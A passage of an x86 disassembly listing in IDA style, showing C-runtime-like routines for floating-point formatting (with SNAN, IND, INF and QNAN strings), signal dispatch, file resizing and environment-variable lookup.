loc_4187EC:				; CODE XREF: sub_4183B4+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41906D
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4187BF
; ---------------------------------------------------------------------------


loc_41880A:				; CODE XREF: sub_4183B4+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4187BF
; ---------------------------------------------------------------------------


loc_418814:				; CODE XREF: sub_4183B4+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41883A
; ---------------------------------------------------------------------------


loc_418825:				; CODE XREF: sub_4183B4+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41883A
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41883A:				; CODE XREF: sub_4183B4+426j
					; sub_4183B4+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4183B4	endp

; ---------------------------------------------------------------------------
off_418855	dd offset loc_41841E	; DATA XREF: sub_4183B4+63r
		dd offset loc_41846D	; jump table for switch	statement
		dd offset loc_4184C4
		dd offset loc_4184EE
		dd offset loc_418549
		dd offset loc_4185C0
		dd offset loc_4185F6
		dd offset loc_418640
		dd offset loc_41861F
		dd offset loc_4186A4
		dd offset loc_41868E
		dd offset loc_41865A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418885	proc near		; CODE XREF: sub_4170E3+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4188E7
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4188EB
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_418885+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4188EB:				; CODE XREF: sub_418885+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_418911
		test	edi, edi
		jnz	short loc_418911
		cmp	[ebp+arg_0], edi
		jnz	short loc_418911


loc_4188FC:				; CODE XREF: sub_418885+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_418B0F
; ---------------------------------------------------------------------------


loc_418911:				; CODE XREF: sub_418885+6Cj
					; sub_418885+70j ...
		cmp	dx, si
		jnz	short loc_418990
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41892A
		cmp	[ebp+arg_0], 0
		jz	short loc_418939


loc_41892A:				; CODE XREF: sub_418885+9Dj
		test	edi, 40000000h
		jnz	short loc_418939
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41897F
; ---------------------------------------------------------------------------


loc_418939:				; CODE XREF: sub_418885+A3j
					; sub_418885+ABj
		test	cx, cx
		jz	short loc_418953
		cmp	edi, 0C0000000h
		jnz	short loc_418953
		cmp	[ebp+arg_0], 0
		jnz	short loc_41897A
		push	offset a1Ind	; "1#IND"
		jmp	short loc_418962
; ---------------------------------------------------------------------------


loc_418953:				; CODE XREF: sub_418885+B7j
					; sub_418885+BFj
		cmp	edi, eax
		jnz	short loc_41897A
		cmp	[ebp+arg_0], 0
		jnz	short loc_41897A
		push	offset a1Inf	; "1#INF"


loc_418962:				; CODE XREF: sub_418885+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_40ED20
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_418971:				; CODE XREF: sub_418885+109j
		and	[ebp+var_4], 0
		jmp	loc_418AE8
; ---------------------------------------------------------------------------


loc_41897A:				; CODE XREF: sub_418885+C5j
					; sub_418885+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41897F:				; CODE XREF: sub_418885+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_40ED20
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_418971
; ---------------------------------------------------------------------------


loc_418990:				; CODE XREF: sub_418885+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41906D
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_4189F1
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_418E4D
		pop	ecx
		pop	ecx


loc_4189F1:				; CODE XREF: sub_418885+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_418A0B
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_418A0E
		jmp	loc_4188FC
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_418885+173j
		mov	edi, [ebp+arg_C]


loc_418A0E:				; CODE XREF: sub_418885+17Fj
		cmp	edi, 15h
		jle	short loc_418A16
		push	15h
		pop	edi


loc_418A16:				; CODE XREF: sub_418885+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_418A2C:				; CODE XREF: sub_418885+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_418292
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_418A2C
		test	esi, esi
		jge	short loc_418A56
		neg	esi
		and	esi, 0FFh
		jle	short loc_418A56


loc_418A49:				; CODE XREF: sub_418885+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4182C0
		dec	esi
		pop	ecx
		jnz	short loc_418A49


loc_418A56:				; CODE XREF: sub_418885+1B8j
					; sub_418885+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_418AB3
		mov	[ebp+arg_C], ecx


loc_418A66:				; CODE XREF: sub_418885+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_418292
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_418292
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_418234
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_418292
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_418A66
		mov	eax, [ebp+arg_14]


loc_418AB3:				; CODE XREF: sub_418885+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_418AF0


loc_418AC0:				; CODE XREF: sub_418885+248j
		cmp	eax, ecx
		jb	short loc_418AD3
		cmp	byte ptr [eax],	39h
		jnz	short loc_418ACF
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_418AC0
; ---------------------------------------------------------------------------


loc_418ACF:				; CODE XREF: sub_418885+242j
		cmp	eax, ecx
		jnb	short loc_418AD7


loc_418AD3:				; CODE XREF: sub_418885+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_418AD7:				; CODE XREF: sub_418885+24Cj
		inc	byte ptr [eax]


loc_418AD9:				; CODE XREF: sub_418885+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_418AE8:				; CODE XREF: sub_418885+F0j
		mov	eax, [ebp+var_4]


loc_418AEB:				; CODE XREF: sub_418885+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418AF0:				; CODE XREF: sub_418885+239j
					; sub_418885+275j
		cmp	eax, ecx
		jb	short loc_418B00
		cmp	byte ptr [eax],	30h
		jnz	short loc_418AFC
		dec	eax
		jmp	short loc_418AF0
; ---------------------------------------------------------------------------


loc_418AFC:				; CODE XREF: sub_418885+272j
		cmp	eax, ecx
		jnb	short loc_418AD9


loc_418B00:				; CODE XREF: sub_418885+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_418B0F:				; CODE XREF: sub_418885+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_418AEB
sub_418885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B18	proc near		; CODE XREF: sub_413F5C+3367p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_418B7F
		dec	eax
		dec	eax
		jz	short loc_418B70
		sub	eax, 4
		jz	short loc_418B70
		sub	eax, 3
		jz	short loc_418B70
		sub	eax, 4
		jz	short loc_418B63
		sub	eax, 6
		jz	short loc_418B56
		dec	eax
		jz	short loc_418B49
		or	eax, 0FFFFFFFFh
		jmp	loc_418C41
; ---------------------------------------------------------------------------


loc_418B49:				; CODE XREF: sub_418B18+27j
		mov	esi, dword_4BA558
		mov	eax, offset dword_4BA558
		jmp	short loc_418B8A
; ---------------------------------------------------------------------------


loc_418B56:				; CODE XREF: sub_418B18+24j
		mov	esi, dword_4BA554
		mov	eax, offset dword_4BA554
		jmp	short loc_418B8A
; ---------------------------------------------------------------------------


loc_418B63:				; CODE XREF: sub_418B18+1Fj
		mov	esi, dword_4BA55C
		mov	eax, offset dword_4BA55C
		jmp	short loc_418B8A
; ---------------------------------------------------------------------------


loc_418B70:				; CODE XREF: sub_418B18+10j
					; sub_418B18+15j ...
		push	edi
		call	sub_418C45
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_418B8A
; ---------------------------------------------------------------------------


loc_418B7F:				; CODE XREF: sub_418B18+Cj
		mov	esi, dword_4BA550
		mov	eax, offset dword_4BA550


loc_418B8A:				; CODE XREF: sub_418B18+3Cj
					; sub_418B18+49j ...
		cmp	esi, 1
		jnz	short loc_418B96
		xor	eax, eax
		jmp	loc_418C41
; ---------------------------------------------------------------------------


loc_418B96:				; CODE XREF: sub_418B18+75j
		test	esi, esi
		jnz	short loc_418BA1
		push	3
		call	sub_41084A


loc_418BA1:				; CODE XREF: sub_418B18+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_418BB3
		cmp	edi, 0Bh
		jz	short loc_418BB3
		cmp	edi, 4
		jnz	short loc_418BD9


loc_418BB3:				; CODE XREF: sub_418B18+8Fj
					; sub_418B18+94j
		mov	ebx, dword_4BA330
		and	dword_4BA330, 0
		cmp	edi, ecx
		jnz	short loc_418C08
		mov	edx, dword_4245C4
		mov	dword_4245C4, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_418BDC
; ---------------------------------------------------------------------------


loc_418BD9:				; CODE XREF: sub_418B18+99j
		mov	ebx, [ebp+arg_0]


loc_418BDC:				; CODE XREF: sub_418B18+BFj
		cmp	edi, ecx
		jnz	short loc_418C08
		mov	eax, dword_4245B8
		mov	ecx, dword_4245BC
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_418C0F
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:424548h[edx*4]


loc_418BFD:				; CODE XREF: sub_418B18+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_418BFD
		jmp	short loc_418C0F
; ---------------------------------------------------------------------------


loc_418C08:				; CODE XREF: sub_418B18+AAj
					; sub_418B18+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_418C1D


loc_418C0F:				; CODE XREF: sub_418B18+D7j
					; sub_418B18+EEj
		push	dword_4245C4
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_418C2B
; ---------------------------------------------------------------------------


loc_418C1D:				; CODE XREF: sub_418B18+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_418C2B
		cmp	edi, 4
		jnz	short loc_418C3E


loc_418C2B:				; CODE XREF: sub_418B18+103j
					; sub_418B18+10Cj
		cmp	edi, 8
		mov	dword_4BA330, ebx
		jnz	short loc_418C3E
		mov	eax, [ebp+arg_0]
		mov	dword_4245C4, eax


loc_418C3E:				; CODE XREF: sub_418B18+111j
					; sub_418B18+11Cj
		xor	eax, eax
		pop	ebx


loc_418C41:				; CODE XREF: sub_418B18+2Cj
					; sub_418B18+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418B18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418C45	proc near		; CODE XREF: sub_418B18+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4245C0
		cmp	dword_424544, edx
		push	esi
		mov	eax, offset dword_424540
		jz	short loc_418C73
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:424540h[esi*4]


loc_418C67:				; CODE XREF: sub_418C45+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_418C73
		cmp	[eax+4], edx
		jnz	short loc_418C67


loc_418C73:				; CODE XREF: sub_418C45+16j
					; sub_418C45+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:424540h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_418C87
		cmp	[eax+4], edx
		jz	short locret_418C89


loc_418C87:				; CODE XREF: sub_418C45+3Bj
		xor	eax, eax

locret_418C89:				; CODE XREF: sub_418C45+40j
		retn
sub_418C45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8A	proc near		; CODE XREF: sub_417827+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_40EC80
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4BB8C0
		jnb	loc_418DBF
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4BB7C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_418DBF
		push	1
		push	esi
		push	ebx
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_418DC9
		push	2
		push	esi
		push	ebx
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_418DC9
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418D6C
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_40E800
		push	8000h
		push	ebx
		call	sub_4190E9
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_418D20:				; CODE XREF: sub_418C8A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_418D2B
		mov	eax, edi


loc_418D2B:				; CODE XREF: sub_418C8A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_415AF3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418D49
		sub	edi, eax
		test	edi, edi
		jle	short loc_418D5F
		jmp	short loc_418D20
; ---------------------------------------------------------------------------


loc_418D49:				; CODE XREF: sub_418C8A+B5j
		cmp	dword_4BA288, 5
		jnz	short loc_418D5C
		mov	dword_4BA284, 0Dh


loc_418D5C:				; CODE XREF: sub_418C8A+C6j
		or	esi, 0FFFFFFFFh


loc_418D5F:				; CODE XREF: sub_418C8A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_4190E9
		pop	ecx
		pop	ecx
		jmp	short loc_418DAC
; ---------------------------------------------------------------------------


loc_418D6C:				; CODE XREF: sub_418C8A+71j
		jge	short loc_418DAC
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_415560
		push	ebx
		call	sub_417793
		add	esp, 10h
		push	eax
		call	dword_41A010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418DAC
		mov	dword_4BA284, 0Dh
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	dword_4BA288, eax


loc_418DAC:				; CODE XREF: sub_418C8A+E0j
					; sub_418C8A:loc_418D6Cj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_415560
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_418DCC
; ---------------------------------------------------------------------------


loc_418DBF:				; CODE XREF: sub_418C8A+1Aj
					; sub_418C8A+36j
		mov	dword_4BA284, 9


loc_418DC9:				; CODE XREF: sub_418C8A+4Ej
					; sub_418C8A+63j
		or	eax, 0FFFFFFFFh


loc_418DCC:				; CODE XREF: sub_418C8A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_418C8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DD0	proc near		; CODE XREF: sub_417AF5+23p

arg_0		= dword	ptr  4

		cmp	dword_4BB8EC, 0
		push	ebx
		push	esi
		mov	esi, dword_4BA2AC
		push	edi
		jz	short loc_418E47
		test	esi, esi
		jnz	short loc_418E01
		cmp	dword_4BA2B4, esi
		jz	short loc_418E47
		call	sub_41919E
		test	eax, eax
		jnz	short loc_418E47
		mov	esi, dword_4BA2AC
		test	esi, esi
		jz	short loc_418E47


loc_418E01:				; CODE XREF: sub_418DD0+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_418E47
		push	ebx
		call	sub_40E730
		pop	ecx
		mov	edi, eax


loc_418E12:				; CODE XREF: sub_418DD0+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_418E47
		push	eax
		call	sub_40E730
		cmp	eax, edi
		pop	ecx
		jbe	short loc_418E3A
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_418E3A
		push	edi
		push	ebx
		push	eax
		call	sub_41915F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418E3F


loc_418E3A:				; CODE XREF: sub_418DD0+51j
					; sub_418DD0+59j
		add	esi, 4
		jmp	short loc_418E12
; ---------------------------------------------------------------------------


loc_418E3F:				; CODE XREF: sub_418DD0+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_418E49
; ---------------------------------------------------------------------------


loc_418E47:				; CODE XREF: sub_418DD0+10j
					; sub_418DD0+1Cj ...
		xor	eax, eax


loc_418E49:				; CODE XREF: sub_418DD0+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E4D	proc near		; CODE XREF: sub_418885+165p
					; sub_41906D+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41904D
		cmp	cx, 7FFFh
		jnb	loc_41904D
		cmp	dx, 0BFFDh
		ja	loc_41904D
		cmp	dx, 3FBFh
		ja	short loc_418EB6
		xor	eax, eax
		jmp	short loc_418EF0
; ---------------------------------------------------------------------------


loc_418EB6:				; CODE XREF: sub_418E4D+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_418ED8
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_418ED8
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_418EDA
		cmp	[esi], eax
		jnz	short loc_418EDA
		jmp	loc_419047
; ---------------------------------------------------------------------------


loc_418ED8:				; CODE XREF: sub_418E4D+71j
					; sub_418E4D+79j
		xor	eax, eax


loc_418EDA:				; CODE XREF: sub_418E4D+80j
					; sub_418E4D+84j
		cmp	cx, ax
		jnz	short loc_418EFD
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_418EFD
		cmp	[ebx+4], eax
		jnz	short loc_418EFD
		cmp	[ebx], eax
		jnz	short loc_418EFD


loc_418EF0:				; CODE XREF: sub_418E4D+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_419068
; ---------------------------------------------------------------------------


loc_418EFD:				; CODE XREF: sub_418E4D+90j
					; sub_418E4D+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_418F0D:				; CODE XREF: sub_418E4D+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_418F61
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_418F29:				; CODE XREF: sub_418E4D+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_418213
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418F54
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_418F54:				; CODE XREF: sub_418E4D+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_418F29


loc_418F61:				; CODE XREF: sub_418E4D+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_418F0D
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_418FA4


loc_418F7F:				; CODE XREF: sub_418E4D+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_418F9D
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_418292
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_418F7F


loc_418F9D:				; CODE XREF: sub_418E4D+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_418FDD


loc_418FA4:				; CODE XREF: sub_418E4D+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_418FDD
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_418FBD:				; CODE XREF: sub_418E4D+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_418FC6
		inc	[ebp+var_14]


loc_418FC6:				; CODE XREF: sub_418E4D+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4182C0
		dec	ebx
		pop	ecx
		jnz	short loc_418FBD
		cmp	[ebp+var_14], 0
		jz	short loc_418FDD
		or	byte ptr [ebp+var_24], 1


loc_418FDD:				; CODE XREF: sub_418E4D+155j
					; sub_418E4D+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_418FF4
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_419029


loc_418FF4:				; CODE XREF: sub_418E4D+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_419026
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_419021
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41901B
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_419029
; ---------------------------------------------------------------------------


loc_41901B:				; CODE XREF: sub_418E4D+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_419029
; ---------------------------------------------------------------------------


loc_419021:				; CODE XREF: sub_418E4D+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_419029
; ---------------------------------------------------------------------------


loc_419026:				; CODE XREF: sub_418E4D+1ABj
		inc	[ebp+var_24+2]


loc_419029:				; CODE XREF: sub_418E4D+1A5j
					; sub_418E4D+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41904D
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_419047:				; CODE XREF: sub_418E4D+86j
		mov	[esi+0Ah], ax
		jmp	short loc_419068
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418E4D+42j
					; sub_418E4D+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_419068:				; CODE XREF: sub_418E4D+ABj
					; sub_418E4D+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41906D	proc near		; CODE XREF: sub_4183B4+440p
					; sub_418885+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_424B98
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4190E6
		jge	short loc_419095
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_424CF8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_419095:				; CODE XREF: sub_41906D+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4190A0
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4190A0:				; CODE XREF: sub_41906D+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4190E6
		push	esi
		push	edi


loc_4190A7:				; CODE XREF: sub_41906D+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_4190DF
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_4190D2
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
